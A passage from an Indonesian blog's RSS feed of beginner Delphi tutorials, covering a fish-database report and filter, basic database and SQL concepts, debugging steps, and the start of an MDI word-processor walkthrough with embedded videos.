<p><b>Standard-&gt;BitMap Component</b></p>
</td>
<td valign="top" width="296">
<p>Letakkan di detail band,</p>
<p>kecilkan ukurannya</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p><b></b></p>
</td>
<td valign="top" width="296">
<p>Properti:</p>
<p>DataView: DataView1</p>
<p>DataField: Graphics</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>7</p>
</td>
<td valign="top" width="128">
<p>View Report</p>
</td>
<td valign="top" width="124">
<p><b></b></p>
</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>8</p>
</td>
<td valign="top" width="128">
<p>Properti RvReport</p>
</td>
<td valign="top" width="124">
<p><b>Filename</b></p>
</td>
<td valign="top" width="296">
<p>Ikan.rav</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>9</p>
</td>
<td valign="top" width="128">
<p>Bind event Print Report</p>
</td>
<td valign="top" width="124">
<p><b>OnClick</b></p>
</td>
<td valign="top" width="296">
<p>RvProject1.Open;</p>
<p>RvProject1.ExecuteReport(&#8216;Report1&#8242;);</p>
</td>
</tr>
</tbody>
</table>
<h5>1.1.4. Menambah Filtering</h5>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td valign="top" width="27">
<p>No</p>
</td>
<td valign="top" width="128">
<p>Action</p>
</td>
<td valign="top" width="124">&#160;</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>1</p>
</td>
<td valign="top" width="128">
<p>Komponen GroupBox</p>
</td>
<td valign="top" width="124">
<p>Tab Standard</p>
</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>2</p>
</td>
<td valign="top" width="128">
<p>Komponen ComboBox1</p>
</td>
<td valign="top" width="124">
<p>Tab Standard</p>
</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>3</p>
</td>
<td valign="top" width="128">
<p>Komponen ComboBox2</p>
</td>
<td valign="top" width="124">
<p>Tab Standard</p>
</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>4</p>
</td>
<td valign="top" width="128">
<p>Komponen CheckBox1</p>
</td>
<td valign="top" width="124">
<p>Tab Standard</p>
</td>
<td valign="top" width="296">
<p>Property</p>
<p>Caption = Filter Aktif</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>5</p>
</td>
<td valign="top" width="128">
<p>Event CheckBox1</p>
</td>
<td valign="top" width="124">
<p>OnClick</p>
</td>
<td valign="top" width="296">
<p>if CheckBox1.Checked then</p>
<p>begin</p>
<p>Table1.Filter := &#8216; [Length (cm)] &gt;= &#8216; + ComboBox1.Text;</p>
<p>Table1.Filter := Table1.Filter +            <br />&#8216; and [Length (cm)] &lt;= &#8216; + ComboBox2.Text;</p>
<p>Table1.Filtered:=True;</p>
<p>end</p>
<p>else</p>
<p>Table1.Filtered:=False;</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>4</p>
</td>
<td valign="top" width="128">
<p>Event Form onCreate</p>
</td>
<td valign="top" width="124">&#160;</td>
<td valign="top" width="296">
<p>procedure TForm1.FormCreate(Sender: TObject);</p>
<p>var</p>
<p>i: integer; n: string;</p>
<p>begin</p>
<p>for i:= 1 to 30 do</p>
<p>begin</p>
<p>n := IntToStr(i*10);</p>
<p>ComboBox1.Items.Add(n);</p>
<p>ComboBox2.Items.Add(n);</p>
<p>end;</p>
<p>ComboBox1.ItemIndex:=0;</p>
<p>ComboBox2.ItemIndex:=0;</p>
<p>end;</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>5</p>
</td>
<td valign="top" width="128">
<p>Event ComboBox </p>
</td>
<td valign="top" width="124">
<p>OnChange</p>
</td>
<td valign="top" width="296">
<p>procedure TForm1.ComboBox1Change(Sender: TObject);</p>
<p>begin</p>
<p>if CheckBox1.Checked then</p>
<p>CheckBox1Click(nil);</p>
<p>end;</p>
<p>procedure TForm1.ComboBox2Change(Sender: TObject);</p>
<p>begin</p>
<p>if CheckBox1.Checked then</p>
<p>CheckBox1Click(nil);</p>
<p>end;</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>6</p>
</td>
<td valign="top" width="128">
<p>Coba jalankan, </p>
</td>
<td valign="top" width="124">
<p>Pilih filter, aktifkan filter, </p>
<p>Kosongkan comboBox </p>
</td>
<td valign="top" width="296">
<p>Ok</p>
<p>Error</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>7</p>
</td>
<td valign="top" width="128">
<p>Menghandle error</p>
</td>
<td valign="top" width="124">
<p>Tambahkan pada CheckBox onClick </p>
</td>
<td valign="top" width="296">
<p>if ComboBox1.Text = &#8221; then ComboBox1.Text :=&#8217;0&#8242;;</p>
<p>if ComboBox2.Text = &#8221; then ComboBox2.Text :=&#8217;0&#8242;;</p>
</td>
</tr>
</tbody>
</table>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/" rel="bookmark">15. Aplikasi Point of Sales</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/07/lowongan-kerja-junior-programmer-dan-senior-web-programmer/" rel="bookmark">Lowongan Kerja : Junior Programmer dan Senior Web Programmer</a></li><li><a href="http://www.dijexi.com/2009/08/diperlukan-programmer-phpjavascript-dan-c-dotnet/" rel="bookmark">Lowongan Kerja: Programmer PHP+Javascript dan C# Dotnet</a></li><li><a href="http://www.dijexi.com/2009/06/konsep-database-dan-komponen-database/" rel="bookmark">12. Konsep Database dan Komponen Database</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-membuat-aplikasi-database-ikan%2F&amp;linkname=13.%20Aplikasi%20Database%20Ikan"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-database-ikan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>12. Konsep Database dan Komponen Database</title>
		<link>http://www.dijexi.com/2009/06/konsep-database-dan-komponen-database/</link>
		<comments>http://www.dijexi.com/2009/06/konsep-database-dan-komponen-database/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 03:56:01 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[database]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=71</guid>
		<description><![CDATA[&#160; Konsep Database · Database: Kumpulan informasi yang tersusun sedemikian rupa sehingga program komputer dapat dengan cepat memilih, mencari, dan menampilkan sebagian data yang diinginkan · tersusun dari field, record, dan table · field : bagian terkecil tempat menyimpan informasi · record : satu set informasi lengkap yang terdiri dari beberapa field · table : [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h4>&#160;</h4>
<h2>Konsep Database</h2>
<p>· <b>Database</b>: Kumpulan informasi yang tersusun sedemikian rupa sehingga program komputer dapat dengan cepat memilih, mencari, dan menampilkan sebagian data yang diinginkan</p>
<p>· tersusun dari field, record, dan table </p>
<p>· <b>field</b> : bagian terkecil tempat menyimpan informasi </p>
<p>· <b>record</b> : satu set informasi lengkap yang terdiri dari beberapa field </p>
<p>· <b>table</b> : kumpulan dari satu atau lebih record </p>
<p>· Contoh, buku telepon analog dengan sebuah table. Berisi daftar records, yang masing-masing terdiri dari tiga field: nama, alamat, dan nomor telephone. </p>
<p>&#160;</p>
<p> <span id="more-71"></span>
<p>· <b>KEY</b> : field yang digunakan untuk men-sortir data (mempercepat proses pencarian data).</p>
<p>· Sering juga disebut KEY FIELD , SORT KEY, INDEX, atau KEY WORD. </p>
<p>· Contoh, untuk jika ingin mensortir record berdasarkan umur, maka field umur adalah KEY </p>
<p>· Boleh terdapat lebih dari satu KEY pada suatu Table. Salah satu KEY ditentukan sebagai PRIMARY KEY dan harus berisi nilai yang UNIK untuk setiap recordnya. </p>
<p>· Key field yang mengidentifikasikan adanya kaitan dengan record pada tabel lain disebut FOREIGN KEY.</p>
<p>· Misalnya tabel penjualan terdiri dari no faktur sebagai KEY dan kode pelanggan sebagai FOREIGN KEY</p>
<h2>Komponen Database pada Delphi</h2>
<p>· Susunannya adalah Sebagai berikut:<br />
<table cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="42"></td>
</tr>
<tr>
<td></td>
<td><a href="http://www.dijexi.com/wp-content/uploads/2009/06/clip_image002.gif"><img title="clip_image002" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="24" alt="clip_image002" src="http://www.dijexi.com/wp-content/uploads/2009/06/clip_image002_thumb.gif" width="74" border="0" /></a></td>
</tr>
</tbody>
</table>
<p><b>User Interface</b> <b>/ Data Aware / Data Access</b></p>
<p>Bagian yang berhubungan dengan interface user: entry, delete, update data, browse, dll. User interface sebaiknya dipisahkan dari logika aplikasi database. Keuntungannya:</p>
<p>1. mempertinggi flexibility: perubahan yang terjadi pada database tidak mengakibatkan perubahan pada user interface, dan sebaliknya.</p>
<p>2. Dapat diperoleh adanya common forms yang dapat di-share di antara banyak applications, oleh karena itu dapat tersedia user interface yang konsisten dan standard untuk banyak aplikasi.</p>
<p><b>Komponen data source</b></p>
<p>1. Berfungsi sebagai saluran penghubung antara user interface dan dataset yang mewakili informasi dari database.</p>
<p>2. Datasource dapat digunakan secara bersamaan oleh banyak data-aware (user interface) dalam satu form, sehinnga saat user memilih suatu record, isi/ tampilan pada setiap control yang terkait ke datasource tersebut akan selalu di-synchronized dengan record yang dipilih.</p>
<p>[PENJELASAN DEMO]</p>
<p><b>Komponen dataset</b></p>
<p>Inti dari aplikasi database adalah dataset. Komponen ini mewakili satu set records suatu database. Records ini dapat berupa :</p>
<p>1. data dari satu tabledatabase ,</p>
<p>2. subset dari fields atau records dalam suatu table, </p>
<p>3. atau information lebih dari satu table yang dijoin menjadi satu view. </p>
<p>Dengan menggunakan dataset, logika aplikasi akan terlindungi dari perubahan yang terjadi secara fisik pada database. Maksudnya, ketika database berubah (nama field, tambah/hapus field, dll) , kita mungkin perlu melakukan perubahan pada komponen dataset yang menentukan data yang diwakilinya pada database yang berubah, tetapi logika aplikasi kita lainnya dapat langsung berjalan tanpa harus dilakukan perubahan. </p>
<h2>SQL Sekilas</h2>
<p>· Adalah bahasa standard (ANSI) yang digunakan untuk mengakses database pada sistem management database relasional (RDBMS) misalnya Oracle, MySQL, Sybase, MS SQL, Informix, PostgreSQL, DB2, dll </p>
<p>· Terdiri dari tiga kategori : DDL, DML, DCL </p>
<p>· <b>DDL (Data Definition Language)</b> : perintah yang digunakan untuk mendefinisikan struktur data </p>
<p>· CREATE DATABASE: membuat database baru </p>
<p>· DROP DATABASE: menghapus database beserta semua tabelnya </p>
<p>· CREATE TABLE: membuat definisi tabel baru </p>
<p>· DROP TABLE: menghapus definisi tabel </p>
<p>· ALTER TABLE : mengubah definisi tabel yang sudah ada </p>
<p>· RENAME TABLE : mengubah nama tabel </p>
<p>· CREATE INDEX : menambah index pada tabel </p>
<p>· DROP INDEX : menghapus index dari tabel </p>
<p>· <b>DML (Data Manipulation Language)</b> : perintah yang digunakan untuk memanipulasi data, yaitu menampilkan, merubah, menghapus, dan menambah data </p>
<p>· INSERT: menambah record baru </p>
<p>· SELECT: memilih kolom dan menampilkan record </p>
<p>· UPDATE: mengubah nilai kolom pada satu atau beberapa record </p>
<p>· DELETE: menghapus record </p>
<p>· REPLACE: mirip seperti INSERT; bedanya: jika field UNIQUE atau PRIMARY KEY pada record yang lama memiliki nilai yang sama dengan record yang baru, maka record yang lama akan dihapus terlebih dahulu sebelum record yang baru di-insert-kan </p>
<p>· TRUNCATE: mirip seperti DELETE FROM table_name; bedanya: akan men-drop dan men-create ulang table (lebih cepat), Not transaction-safe, tidak mengeluarkan jumlah record yang ter-delete (Lihat pada Slide ttg DELETE) </p>
<p>· <b>DCL (Data Control Language)</b> : perintah yang diguakan untuk mengontrol akses terhadap data </p>
<p>· GRANT: memberi hak kepada user</p>
<p>· REVOKE: menghapus hak dari seorang user </p>
<p>· <b>Agregate Function</b>: </p>
<p>· AVG() : menghitung nilai rata-rata dari beberapa record </p>
<p>· COUNT() : menghitung jumlah record </p>
<p>· COUNT(*) : menghitung jumlah total record pada suatu tabel </p>
<p>· MAX() : menghitung nilai maksimum dari beberapa record </p>
<p>· MIN() : menghitung nilai minimum dari beberapa record </p>
<p>· SUM() : menghitung total jumlah dari beberapa record </p>
<p>· <b>Function</b> : </p>
<p>· Date Time Function </p>
<p>· Math </p>
<p>· String Function </p>
<p>· Control Flow </p>
<p>· Operator: Logic, Comparison </p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/" rel="bookmark">15. Aplikasi Point of Sales</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/07/lowongan-kerja-junior-programmer-dan-senior-web-programmer/" rel="bookmark">Lowongan Kerja : Junior Programmer dan Senior Web Programmer</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-database-ikan/" rel="bookmark">13. Aplikasi Database Ikan</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-dan-menambah-komponen-delphi/" rel="bookmark">20. Membuat dan Menambah Komponen</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fkonsep-database-dan-komponen-database%2F&amp;linkname=12.%20Konsep%20Database%20dan%20Komponen%20Database"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/konsep-database-dan-komponen-database/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>11. Debug dan Menggunakan Help</title>
		<link>http://www.dijexi.com/2009/06/tutorial-cara-debug-program-dan-menggunakan-help/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-cara-debug-program-dan-menggunakan-help/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 03:53:48 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=68</guid>
		<description><![CDATA[&#160; 1. Buka project matrix 2. set break point 3. run 4. debug per baris dan prosedure (F8) 5. debug per baris masuk ke prosedure 6. watch evaluate inspect 7. tekan F1 pada keyword, baca help Related Posts:Setup Kannel SMS Gateway on UbuntuHow to Debug PHP Program Remotely using phpDesigner 200815. Aplikasi Point of SalesHow [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h4>&#160;</h4>
<p>1. Buka project matrix</p>
<p>2. set break point</p>
<p>3. run</p>
<p>4. debug per baris dan prosedure (F8)</p>
<p>5. debug per baris masuk ke prosedure</p>
<p>6. watch evaluate inspect</p>
<p>7. tekan F1 pada keyword, baca help</p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2010/05/setup-kannel-sms-gateway-on-ubuntu/" rel="bookmark">Setup Kannel SMS Gateway on Ubuntu</a></li><li><a href="http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/" rel="bookmark">How to Debug PHP Program Remotely using phpDesigner 2008</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/" rel="bookmark">15. Aplikasi Point of Sales</a></li><li><a href="http://www.dijexi.com/2010/07/how-to-send-email-on-java-application-using-javamail-api/" rel="bookmark">How to Send Email on Java Application using JavaMail API</a></li><li><a href="http://www.dijexi.com/2009/07/best-free-development-tools-and-editors-software/" rel="bookmark">Best Free Development Tools and Editors Software</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-cara-debug-program-dan-menggunakan-help%2F&amp;linkname=11.%20Debug%20dan%20Menggunakan%20Help"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-cara-debug-program-dan-menggunakan-help/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10. Aplikasi Multiple Document Interface</title>
		<link>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-mdi/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-mdi/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 03:52:47 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[mdi]]></category>
		<category><![CDATA[multiple document interface]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=67</guid>
		<description><![CDATA[Pada video tutorial http://dijexi.com ini dijelaskan cara membuat aplikasi multiple document interface (MDI) word processor sederhana dengan tujuan untuk mempelajari cara membuat form MDI child dan frame,membuka form saat runtime, membuat Menu, menggabungkan menu Frame dan Child, menggunakan komponen RichEdit, alignment, word wrap , cut copy paste delete, menggunakan komponen Open, Save, PrinterSetup, Print, dan [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Pada video tutorial <a href="http://dijexi.com/">http://dijexi.com</a> ini dijelaskan cara membuat aplikasi <a class="zem_slink" title="Multiple document interface" href="http://en.wikipedia.org/wiki/Multiple_document_interface" rel="wikipedia">multiple document interface</a> (MDI) <a class="zem_slink" title="Word processor" href="http://en.wikipedia.org/wiki/Word_processor" rel="wikipedia">word processor</a> sederhana dengan tujuan untuk mempelajari cara membuat form MDI child dan frame,membuka form saat runtime, membuat Menu, menggabungkan menu Frame dan Child, menggunakan komponen RichEdit, alignment, <a class="zem_slink" title="Word wrap" href="http://en.wikipedia.org/wiki/Word_wrap" rel="wikipedia">word wrap</a> , cut <a class="zem_slink" title="Cut, copy, and paste" href="http://en.wikipedia.org/wiki/Cut%2C_copy%2C_and_paste" rel="wikipedia">copy paste</a> delete, menggunakan komponen Open, Save, PrinterSetup, Print, dan Font Dialog, dan menggunakan event form Close dan CloseQuery.</p>
<h2>Video Tutorial Pembuatan Aplikasi</h2>
<p>[video1a]</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:1d72c0db-59b6-4af7-a945-ca73ded60750" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/pT4LLKVnOaQ&amp;hl=en"></param><embed src="http://www.youtube.com/v/pT4LLKVnOaQ&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #1a</div>
</div>
<p> <span id="more-67"></span>
<p>[video1b]</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:ab3b1e41-2f58-40d2-9fbb-2208f15420e2" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/-629e_grt7k&amp;hl=en"></param><embed src="http://www.youtube.com/v/-629e_grt7k&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #1b</div>
</div>
<p>&#160;</p>
<p>[video2] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:8c94312c-95c0-489b-b707-390851d5d0a6" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/MiM4j89wX5k&amp;hl=en"></param><embed src="http://www.youtube.com/v/MiM4j89wX5k&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #2</div>
</div>
<p>&#160;</p>
<p>[video3] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:bdc8cb99-e1c4-4151-8c5c-f220cf95847d" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/bPL-SLbNank&amp;hl=en"></param><embed src="http://www.youtube.com/v/bPL-SLbNank&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #3</div>
</div>
<p>&#160;</p>
<p>[video4] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:9dc60a92-361a-46bd-a335-a7a63cee57c1" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/YflU6akvqvE&amp;hl=en"></param><embed src="http://www.youtube.com/v/YflU6akvqvE&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #4</div>
</div>
<p>&#160;</p>
<p>[video5] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:54d8e47f-741c-40d3-8899-0923d11d27ad" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/1MuZ9qw9_RE&amp;hl=en"></param><embed src="http://www.youtube.com/v/1MuZ9qw9_RE&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #5</div>
</div>
<p>&#160;</p>
<p>[video6] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:ed66d720-1d7e-4e46-a6cf-0da843dc4885" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/FxQYLpTqKJI&amp;hl=en"></param><embed src="http://www.youtube.com/v/FxQYLpTqKJI&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #6</div>
</div>
<p>&#160;</p>
<p>[video7] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:4bf72447-676c-4acf-a267-c1dc25969577" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/YgzohsLrEDo&amp;hl=en"></param><embed src="http://www.youtube.com/v/YgzohsLrEDo&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #7</div>
</div>
<p>&#160;</p>
<p>[video8] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:92444b0b-cdf9-411e-baf8-72a912e3552d" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/xfqVro-EguI&amp;hl=en"></param><embed src="http://www.youtube.com/v/xfqVro-EguI&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #8</div>
</div>
<p>&#160;</p>
<p>[video9] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:0dcf21ae-a99b-41f6-bd44-2097b6dde93d" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/VhZCKbc7mQ0&amp;hl=en"></param><embed src="http://www.youtube.com/v/VhZCKbc7mQ0&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #9</div>
</div>
<p>&#160;</p>
<p>[video10] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:0fec0ed8-8162-4ece-bcef-8f80c10f3ecc" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/MQt_nYFZY2k&amp;hl=en"></param><embed src="http://www.youtube.com/v/MQt_nYFZY2k&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #10</div>
</div>
<p>&#160;</p>
<p>[video11] </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:6c329c6a-0da4-4cb9-90e6-023f71dda6d1" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/aiHmCeGhShM&amp;hl=en"></param><embed src="http://www.youtube.com/v/aiHmCeGhShM&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Aplikasi Multiple Document Interface #11</div>
</div>
<blockquote><p>Background music: ethnical <a class="zem_slink" title="Traditional music" href="http://en.wikipedia.org/wiki/Traditional_music" rel="wikipedia">traditional music</a> from <a class="zem_slink" title="Batak languages" href="http://en.wikipedia.org/wiki/Batak_languages" rel="wikipedia">Batak</a> Karo: Gendang Karo &#8211; Perlawes. </p>
</blockquote>
<p>&#160;</p>
<h2>Langkah-langkah</h2>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="33">
<p>No</p>
</td>
<td valign="top" width="131">
<p>Action</p>
</td>
<td valign="top" width="125">&#160;</td>
<td valign="top" width="209">&#160;</td>
</tr>
<tr>
<td valign="top" width="33">
<p>1</p>
</td>
<td valign="top" width="129">
<p><b>File-&gt;New-&gt;Application</b></p>
</td>
<td valign="top" width="128">
<p><b></b></p>
</td>
<td valign="top" width="209">
<p>Save All</p>
<p>create direktori &quot;word processor&quot; </p>
<p>Project: WORD.DPR</p>
<p>File: unit1.pas</p>
</td>
</tr>
<tr>
<td valign="top" width="33">
<p>2</p>
</td>
<td valign="top" width="128">
<p>Membuat MDI Frame</p>
</td>
<td valign="top" width="130">&#160;</td>
<td valign="top" width="208">
<p>FormStyle: fsMDIFrame</p>
<p>Name: frmFrame </p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>3</p>
</td>
<td valign="top" width="128">
<p>Membuat Child Window</p>
</td>
<td valign="top" width="131">
<p>File -&gt; New -&gt; Form</p>
</td>
<td valign="top" width="208">
<p>File: unit2.pas</p>
<p>Name: frmChild</p>
<p>FormStyle: fsMDIClild</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>3</p>
</td>
<td valign="top" width="128">
<p>Tidak auto create</p>
</td>
<td valign="top" width="132">
<p>Project -&gt;Options</p>
</td>
<td valign="top" width="208">
<p>FrmChild -&gt; Avaliable forms</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>5</p>
</td>
<td valign="top" width="127">
<p>Membuat menu aplikasi</p>
</td>
<td valign="top" width="132">&#160;</td>
<td valign="top" width="208">&#160;</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">
<p>Pada MDI Frame</p>
</td>
<td valign="top" width="132">
<p>&amp;File</p>
<p>&amp;New</p>
<p>&amp;Open</p>
<p>-</p>
<p>E&amp;xit</p>
</td>
<td valign="top" width="208">
<p>&amp;Window</p>
<p>&amp;Tile</p>
<p>&amp;Cascade</p>
<p>&amp;Arrange Icons</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">
<p>Pada Clild Window</p>
</td>
<td valign="top" width="132">
<p>&amp;File</p>
<p>&amp;New</p>
<p>&amp;Open</p>
<p>&amp;Close</p>
<p>&amp;Save</p>
<p>Save &amp;as</p>
<p>&amp;Print</p>
<p>&amp;Printer S&amp;etup</p>
<p>-</p>
